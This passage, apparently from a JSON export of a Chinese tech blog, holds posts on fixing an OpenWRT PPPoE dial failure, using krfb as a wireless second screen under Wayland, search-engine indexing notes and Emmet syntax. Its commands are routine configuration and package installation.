title=\"OpenWRT拨号失败\"\u003e\u003c/a\u003eOpenWRT拨号失败\u003c/h3\u003e\u003cp\u003e今天换了OpenWRT,在WAN端口设置拨号后发现拨号失败,报错为\u003ccode\u003eUSER_REQUEST\u003c/code\u003e。试了下\u003ca href=\"https://jkboy.com/archives/44971.html\"\u003e这个\u003c/a\u003e解决方案:强制给端口指定MAC地址之后,发现拨号成功了。。\u003c/p\u003e\u003cp\u003e具体操作:网络管理端启用ssh,通过ssh连接路由器后,执行下面的指令:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003evi /etc/config/network\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后,在\u003ccode\u003econfig interface \u0026#39;wan\u0026#39;\u003c/code\u003e块的下面添加一行指派MAC地址:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eoption macaddr \u003cspan class=\"string\"\u003e\u0026#x27;a0:23:36:a8:8d:9e\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后重启WAN端口,发现拨号成功。\u003c/p\u003e","url":"https://mxts.jiujiuer.xyz/2024/06/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/OpenWRT%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0/"},{"title":"在Wayland中使用无线副屏","time":"2024-05-04T03:58:02Z","content":"(*/ω\*)\u003chr /\u003e\u003ch2 id=\"废话\"\u003e\u003ca href=\"#废话\" class=\"headerlink\" title=\"废话\"\u003e\u003c/a\u003e废话\u003c/h2\u003e\u003cp\u003e之前在Windows上用过米全家桶,体验一般。这回回家带了电脑和板子,写分布式作业的时候突然想把板子当副屏用,但是让我切回Windows写代码还是饶了我吧QAQ\u003c/p\u003e\u003cp\u003e不过切成Wayland以后,基于xrdp的方法也没法用,还好有新的替代:krfb\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eKDE: Krfb 桌面共享是一个可以让您与另一个在其他机器上的用户共享当前会话的服务器程序,他可以使用VNC 客户端来查看甚至控制桌面。\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"使用\"\u003e\u003ca href=\"#使用\" class=\"headerlink\" title=\"使用\"\u003e\u003c/a\u003e使用\u003c/h2\u003e\u003cp\u003e截止2024.05.04,aur中的最新版在RVNC Viewer客户端连接时会崩溃,故本文使用\u003ccode\u003ekrfb-22.12.3-1-x86_64\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e首先将系统的PulseAudio切换为PipeWire:在Arch下运行\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo pacman -S pipewire pipewire-pulse pipewire-alsa wireplumber\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e随后pacman会询问是否卸载PulseAudio,输入y回车即可。安装完成后,重启一次。\u003c/p\u003e\u003cp\u003e接着安装Krfb,因为我使用了历史的pkg包,所以\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo pacman -U krfb-22.12.3-1-x86_64.pkg.tar.zst\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e现在就可以正常使用了。你可以使用这个配置试试:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ekrfb-virtualmonitor --name Pad --resolution 1920x1080 --password password --port 5900\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e现在打开板子上的VNC,连接电脑的IP试试吧。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"/img/Pasted%20image%2020240504123041.png\"\u003e\u003c/p\u003e\u003ch2 id=\"Ref\"\u003e\u003ca href=\"#Ref\" class=\"headerlink\" title=\"Ref\"\u003e\u003c/a\u003eRef\u003c/h2\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://forum.manjaro.org/t/android-tablet-as-second-monitor/114841/2\"\u003eAndroid tablet as a second monitor - Manjaro Forum\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://tatsumin.dev/posts/switch-from-pulseaudio-to-pipwire/\"\u003eArch Linux 音频服务器从PulseAudio 切换到 Pipewire\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e","url":"https://mxts.jiujiuer.xyz/2024/05/04/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%9C%A8Wayland%E4%B8%AD%E4%BD%BF%E7%94%A8%E6%97%A0%E7%BA%BF%E5%89%AF%E5%B1%8F/"},{"title":"搜索引擎学习笔记","time":"2024-04-27T13:12:15Z","content":"(*/ω\*)\u003chr /\u003e\u003ch2 id=\"概览\"\u003e\u003ca href=\"#概览\" class=\"headerlink\" title=\"概览\"\u003e\u003c/a\u003e概览\u003c/h2\u003e\u003cp\u003e搜索引擎是从文档集合中查找出匹配单词、问题等构成的信息需求的系统\u0026#x2F;软件的总称。\u003c/p\u003e\u003cp\u003e不过现代的搜索引擎的索引范围早已经超过文档,比如对邮件\u0026#x2F;专利信息的搜索引擎等。变化的是作为文档的对象,不变的是基础架构。\u003c/p\u003e\u003cp\u003e搜索引擎一般有四个部分:\u003c/p\u003e\u003cul\u003e\u003cli\u003e索引管理器 Index Manager\u003cul\u003e\u003cli\u003e索引是一种该诉检索特化的数据结构,对其访问借助索引管理器完成\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e索引检查器 Index Searcher\u003cul\u003e\u003cli\u003e利用索引进行全文搜索处理的组件\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e索引构建器 Indexer\u003cul\u003e\u003cli\u003e从文本文档中生成索引的组件。它的行为是将文档分解为单词序列,再转换为索引结构\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e文档管理器 Document Manager\u003cul\u003e\u003cli\u003e管理作为检索对象的文档,并对于作为查询结果的文档进行摘要的生成\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e这几部分的工作方式:文档作为索引构建器的输入,将输出内容交给索引管理器和文档管理器,最后,用户使用检索应用程序,后者和索引检查器交互,使用信息需求获得结果。\u003c/p\u003e\u003cp\u003e还有其他不是组成部分,但是相关的组件:\u003c/p\u003e\u003cul\u003e\u003cli\u003e爬虫-Crawler: 收集Web上HTML等文件的自动系统。\u003c/li\u003e\u003cli\u003e搜索排序系统: 给作为检索对象的文档打分的系统。\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"全文搜素\"\u003e\u003ca href=\"#全文搜素\" class=\"headerlink\" title=\"全文搜素\"\u003e\u003c/a\u003e全文搜素\u003c/h2\u003e\u003cp\u003e全文搜索分为:利用全扫描进行全文搜索,和利用索引进行全文搜索的方法。\u003c/p\u003e\u003cp\u003e第一种方法因为和grep使用的方法一致,也称为grep型搜索。优点是文档不需要事先处理,缺点是文档数量和检索时间成正相关。因此仅适用于少量\u0026#x2F;暂时性的文档。相关算法有KMP和BM等算法。\u003c/p\u003e\u003cp\u003e另一种是利用索引进行全文搜索的方法。事先需要为文档建立索引,然后利用索引搜索字符串。优点是搜索时间不会随文档数增多大幅下降,缺点是需要预先建立索引。\u003c/p\u003e\u003cp\u003e全文搜索的索引结构中,较为常用的结构是倒排索引。\u003c/p\u003e\u003ch3 id=\"倒排索引\"\u003e\u003ca href=\"#倒排索引\" class=\"headerlink\" title=\"倒排索引\"\u003e\u003c/a\u003e倒排索引\u003c/h3\u003e\u003cp\u003e倒排表和书籍后的关键词索引原理一致。将关键词列出在书籍最后,并在每个关键词后面标注它出现的地方,并将这个表按照关键词首字母顺序排序。\u003c/p\u003e\u003cp\u003e它的构建方法大致如下:首先需要一个二维数组,行为所有出现过的单词(需要将这个维度压缩地尽可能小,比如忽略复数形式,忽略大小写等),列是页码。数组单元则是某页出现某单词的记录。\u003c/p\u003e\u003cp\u003e完成后,将行列反转,得到每个单词出现在每一页上的表。这个操作称为倒排,完成后的表格称为倒排表(Postings List),能用于关键字全文检索。\u003c/p\u003e\u003cp\u003e另,所谓的页码实际上是和网页编号对应的。一行记录称为一个倒排项(Posting)。\u003c/p\u003e\u003cp\u003e倒排索引,是单词的集合“词典”和倒排列表的集合“倒排文件”构成的。二者对应关系大致相当于:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e倒排词典 -\u0026gt; 倒排文件\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e-----------------------\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eGoogle -\u0026gt; 2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eI -\u0026gt; 1,2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e... -\u0026gt; ...\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这是一个松散的结构,每个单词的倒排文件可以从该单词的元信息获取。\u003c/p\u003e\u003cp\u003e查找的单词有多个时,对各个单词分别执行索引,取结果交集即是查找结果。\u003c/p\u003e\u003cp\u003e单词级倒排文件:在记录文档单词信息之外,额外记录该单词在文档出现的编号。\u003c/p\u003e\u003cp\u003e短语查找:借助单词级倒排文件,可以查找短语级别的内容:在取完交集之后,过滤掉结果中search和engine相对偏移量不为-1的项目。\u003c/p\u003e\u003cp\u003e对于中文等语言而言,搜索引擎的构造方法一样,不同在于语义化分割(Tokenization)中文的连续的句子。\u003c/p\u003e\u003cp\u003e中文的句子单词序列化分割方法常用的有两种:\u003c/p\u003e\u003cul\u003e\u003cli\u003e词素解析分割法\u003cul\u003e\u003cli\u003e将句子按照其中的语义,分割为词素(token)单元的方法,但是实现难度极高,近几年一般借助机器学习方法(隐马尔科夫模型\u0026#x2F;条件随机场等方法)处理。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eN-gram分割法\u003cul\u003e\u003cli\u003e将句子分割成由N个字符组成的片段序列的方法,每个片段称作一个N-gram。M字的句子进行N-gram分割方法,能产生\u003ccode\u003eM-N+1\u003c/code\u003e个N-gram。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e二者的优缺点都很明确,前者精准且节省空间,从而检索速度也快,但是可能会发生检索遗漏的问题。后者的优点是结果完整,因此检索速度相对较慢。并且可能会检索到无关词汇,比如检索华山得到九华山。\u003c/p\u003e\u003ch3 id=\"词典的实现\"\u003e\u003ca href=\"#词典的实现\" class=\"headerlink\" title=\"词典的实现\"\u003e\u003c/a\u003e词典的实现\u003c/h3\u003e\u003cp\u003e一般使用哈希表、树等结构,常用的属性结构有二叉查找树BST、字典树Trie,B+树等。\u003c/p\u003e\u003cp\u003e这部分之所以使用超过一种数据结构,一个是因为存储金字塔结构:往往不能一次性将词典完整加载到内存中,另一个是因为块设备的读写单位是块,并且耗时很高,需要针对读写慢但是一次读写量大专门优化的数据结构。\u003c/p\u003e\u003ch2 id=\"检索\"\u003e\u003ca href=\"#检索\" class=\"headerlink\" title=\"检索\"\u003e\u003c/a\u003e检索\u003c/h2\u003e\u003cp\u003e检索模型指代各种检索方法\u0026#x2F;机制。使用逻辑谓词AND\u0026#x2F;OR\u0026#x2F;NOT指导的检索就是\u003cstrong\u003e布尔检索\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e该模型的检索流程:\u003c/p\u003e\u003col\u003e\u003cli\u003e获取所有检索单词的倒排列表\u003c/li\u003e\u003cli\u003e根据布尔检索获取符合条件的文档编号\u003c/li\u003e\u003cli\u003e计算符合条件的文档和查询匹配度\u003c/li\u003e\u003cli\u003e根据匹配度\u0026#x2F;其他排序参数,获取前k个文档\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e因为逻辑比较简单,伪代码就不贴了\u003c/p\u003e\u003ch2 id=\"关联度计算\"\u003e\u003ca href=\"#关联度计算\" class=\"headerlink\" title=\"关联度计算\"\u003e\u003c/a\u003e关联度计算\u003c/h2\u003e\u003cp\u003e策略一般是按照文档与查询的关联度对检索结果进行排序。算法则有:\u003c/p\u003e\u003cul\u003e\u003cli\u003e余弦相似度\u003cul\u003e\u003cli\u003e将文档和查询映射到以单词(token)为维度的向量空间,并计算二者向量的夹角,夹角越小则关联度越高\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eOkapi BM25\u003cul\u003e\u003cli\u003e文档是否匹配查询是由概率决定:根据单词的出现频率计算关联概率。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e信息检索是全文搜索的学术领域,这个检索领域目的是找出与信息需求匹配的文档,故可认定匹配的文章不必包含查询,只需要计算整个文档的关联度,将高关联度文档作为作为检索结果即可。\u003c/p\u003e\u003cp\u003e关联度计算是计算密集任务,因此有必要先得到符合检索条件的子集后再计算关联度进行排序。从而,针对不同的检索应用,设计不同的检索模型能提高性能和质量。\u003c/p\u003e\u003ch2 id=\"构建倒排索引\"\u003e\u003ca href=\"#构建倒排索引\" class=\"headerlink\" title=\"构建倒排索引\"\u003e\u003c/a\u003e构建倒排索引\u003c/h2\u003e\u003cp\u003e因为数据的稀疏性质,它适用于使用链表进行存储。当内存用量过大时,可以使用二级链表进行存储。\u003c/p\u003e","url":"https://mxts.jiujiuer.xyz/2024/04/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%90%9C%E7%B4%A2%E5%BC%95%E6%93%8E%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"title":"Emmet学习笔记","time":"2024-04-19T03:42:50Z","content":"用了好久才知道div.class1#id\u003ebutton这种写法是Emmet的语法...\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003e大半夜刷到的…老早就想学学这玩意了,奈何不知道名字是啥一直没法搜。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e参考资料:\u003ca href=\"https://docs.emmet.io/abbreviations/syntax/\"\u003eAbbreviations Syntax | Emmet Doc\u003c/a\u003e\u003c/p\u003e\u003cp\u003eAbbreviations are the heart of the Emmet toolkit: these special expressions are parsed in runtime and transformed into structured code block, HTML for example. The abbreviation’s syntax looks like CSS selectors with a few extensions specific to code generation. So every web-developer already knows how to use it. \u003c/p\u003e\u003ch2 id=\"语法\"\u003e\u003ca href=\"#语法\" class=\"headerlink\" title=\"语法\"\u003e\u003c/a\u003e语法\u003c/h2\u003e\u003ch3 id=\"元素\"\u003e\u003ca href=\"#元素\" class=\"headerlink\" title=\"元素\"\u003e\u003c/a\u003e元素\u003c/h3\u003e\u003cp\u003ehtml定义的所有标签均可以直接由标签名称补全:比如\u003ccode\u003ediv\u003c/code\u003e-\u0026gt;\u003ccode\u003e\u0026lt;div\u0026gt;\u0026lt;/div\u0026gt;\u003c/code\u003e\u003c/p\u003e\u003ch3 id=\"子元素\"\u003e\u003ca href=\"#子元素\" class=\"headerlink\" title=\"子元素\"\u003e\u003c/a\u003e子元素\u003c/h3\u003e\u003cp\u003e二元运算符\u003ccode\u003e\u0026gt;\u003c/code\u003e标记标注前一元素的子元素,例如\u003ccode\u003ediv\u0026gt;ul\u003c/code\u003e-\u0026gt;\u003ccode\u003e\u0026lt;div\u0026gt;\u0026lt;ul\u0026gt;\u0026lt;/ul\u0026gt;\u0026lt;/div\u0026gt;\u003c/code\u003e\u003c/p\u003e\u003ch3 id=\"同级元素\"\u003e\u003ca href=\"#同级元素\" class=\"headerlink\" title=\"同级元素\"\u003e\u003c/a\u003e同级元素\u003c/h3\u003e\u003cp\u003e二元运算符\u003ccode\u003e+\u003c/code\u003e标识元素的同级元素,例如\u003ccode\u003ediv+p\u003c/code\u003e-\u0026gt;\u003ccode\u003e\u0026lt;div\u0026gt;\u0026lt;/div\u0026gt;\u0026lt;p\u0026gt;\u0026lt;/p\u0026gt;\u003c/code\u003e\u003c/p\u003e\u003ch3 id=\"返回上一级\"\u003e\u003ca href=\"#返回上一级\" class=\"headerlink\" title=\"返回上一级\"\u003e\u003c/a\u003e返回上一级\u003c/h3\u003e\u003cp\u003e\u003ccode\u003e^\u003c/code\u003e标识指引当前缩进层次往上一级,例如\u003ccode\u003ediv\u0026gt;p^span\u003c/code\u003e-\u0026gt;\u003cdiv\u003e\u003cp\u003e\u003c/p\u003e\u003c/div\u003e\u003cspan\u003e\u003c/span\u003e\u0026#96;\u003c/p\u003e\u003ch3 id=\"数量算符\"\u003e\u003ca href=\"#数量算符\" class=\"headerlink\" title=\"数量算符\"\u003e\u003c/a\u003e数量算符\u003c/h3\u003e\u003cp\u003e二元运算符\u003ccode\u003e*\u003c/code\u003e指示左侧元素数量为右侧整数个,例如\u003ccode\u003ediv*5\u003c/code\u003e-\u0026gt;\u003ccode\u003e\u0026lt;div\u0026gt;\u0026lt;/div\u0026gt;\u0026lt;div\u0026gt;\u0026lt;/div\u0026gt;\u0026lt;div\u0026gt;\u0026lt;/div\u0026gt;\u0026lt;div\u0026gt;\u0026lt;/div\u0026gt;\u0026lt;div\u0026gt;\u0026lt;/div\u0026gt;\u003c/code\u003e\u003c/p\u003e\u003ch3 id=\"分组\"\u003e\u003ca href=\"#分组\" class=\"headerlink\" title=\"分组\"\u003e\u003c/a\u003e分组\u003c/h3\u003e\u003cp\u003e可以使用\u003ccode\u003e()\u003c/code\u003e对符号进行分组:\u003ccode\u003ediv\u0026gt;(header\u0026gt;ul\u0026gt;li*2\u0026gt;a)+footer\u0026gt;p\u003c/code\u003e-\u0026gt;\u003c/p\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ediv\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eheader\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eul\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eli\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ea\u003c/span\u003e \u003cspan class=\"attr\"\u003ehref\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;\u0026quot;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ea\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003eli\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eli\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ea\u003c/span\u003e \u003cspan class=\"attr\"\u003ehref\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;\u0026quot;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ea\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003eli\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003eul\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003eheader\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003efooter\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ep\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ep\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003efooter\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ediv\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,括号可以嵌套:\u003ccode\u003e(div\u0026gt;dl\u0026gt;(dt+dd)*3)+footer\u0026gt;p\u003c/code\u003e-\u0026gt;\u003c/p\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ediv\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003edl\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003edt\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003edt\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003edd\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003edd\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003edt\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003edt\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003edd\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003edd\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003edt\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003edt\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003edd\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003edd\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003edl\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003ediv\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003efooter\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003ep\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan 